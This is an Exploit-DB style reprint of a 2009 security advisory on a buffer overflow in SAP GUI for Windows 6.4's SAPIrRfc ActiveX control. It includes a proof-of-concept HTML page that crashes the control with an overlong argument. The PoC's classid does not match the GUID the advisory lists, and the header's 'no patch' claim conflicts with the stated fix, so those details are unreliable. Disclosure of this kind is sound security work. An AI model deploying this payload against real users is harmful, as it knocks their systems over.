header-logo
Suggest Exploit
vendor:
SAP GUI for Windows
by:
Alexander Polyakov
7.5
CVSS
HIGH
Buffer Overflow
119 (Buffer Overflow)
CWE
Product Name: SAP GUI for Windows
Affected Version From: 6.4
Affected Version To: 6.4
Patch Exists: NO
Related CWE:
CPE: sap:gui_for_windows
Metasploit:
Other Scripts:
Platforms Tested: Windows
2009

SAP GUI for Windows Buffer Overflow Vulnerability

SAP GUI for Windows version 6.4 contains an ActiveX component called SAPIrRfc which is vulnerable to a buffer overflow attack. An attacker can construct an HTML page that calls the vulnerable function 'Accept' from the ActiveX Object SAPIrRfc with a long parameter. When a user opens this page, it can lead to a denial of service (DoS) or full remote control of the target system. An example of a DoS attack is provided in the advisory.

Mitigation:

Update SAP GUI for Windows to a version that is not affected by this vulnerability. Apply necessary security patches as advised by the vendor.
Source

Exploit-DB raw data:

Digital Security Research Group [DSecRG] Advisory      #DSECRG-09-015

Original Advisory:   http://dsecrg.com/pages/vul/show.php?id=115


Application:                    SAP GUI for Windows,  EnjoySAP
Versions Affected:              Version 6.4 
Vendor URL:                     http://SAP.com
Bugs:                           Buffer Overflow
Exploits:                       YES
Reported:                       13.11.2008
Vendor response:                17.11.2008
Date of Public Advisory:        08.06.2009
CVE-number:                     
Author:                         Alexander Polyakov
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

SAP GUI for Windows version 6.4 contains ActiveX component SAPIrRfc  which is vulnerable to Buffer overflow attack.    

file = sapirrfc.dll
GUID = F6908F83-ADA6-11D0-87AA-00AA00198702


Details
*******

Attacker can construct html page which will call vulnerable function "Accept" from ActiveX Object SAPIrRfc with long parameter.
When user open this vulnerable page it will occur DOS (Example 1) or full remote control on target system (Example2 execute calc.exe aviable by request) .



Example1:
*********


<html>
<object classid='clsid:77F12F8A-F117-11D0-8CF1-00A0C91D9D87' id='target' />
<script>

arg1="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

target.Accept arg1 

</script>
</html>



Fix Information
***************
The issue has been solved. See SAP note 1286637.



References:
***********
SAP note 1286637

https://service.sap.com/sap/support/notes/1286637
http://dsecrg.com/pages/vul/show.php?id=115




About
*****

Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsecrg [dot] com
                http://www.dsecrg.com

# milw0rm.com [2009-06-08]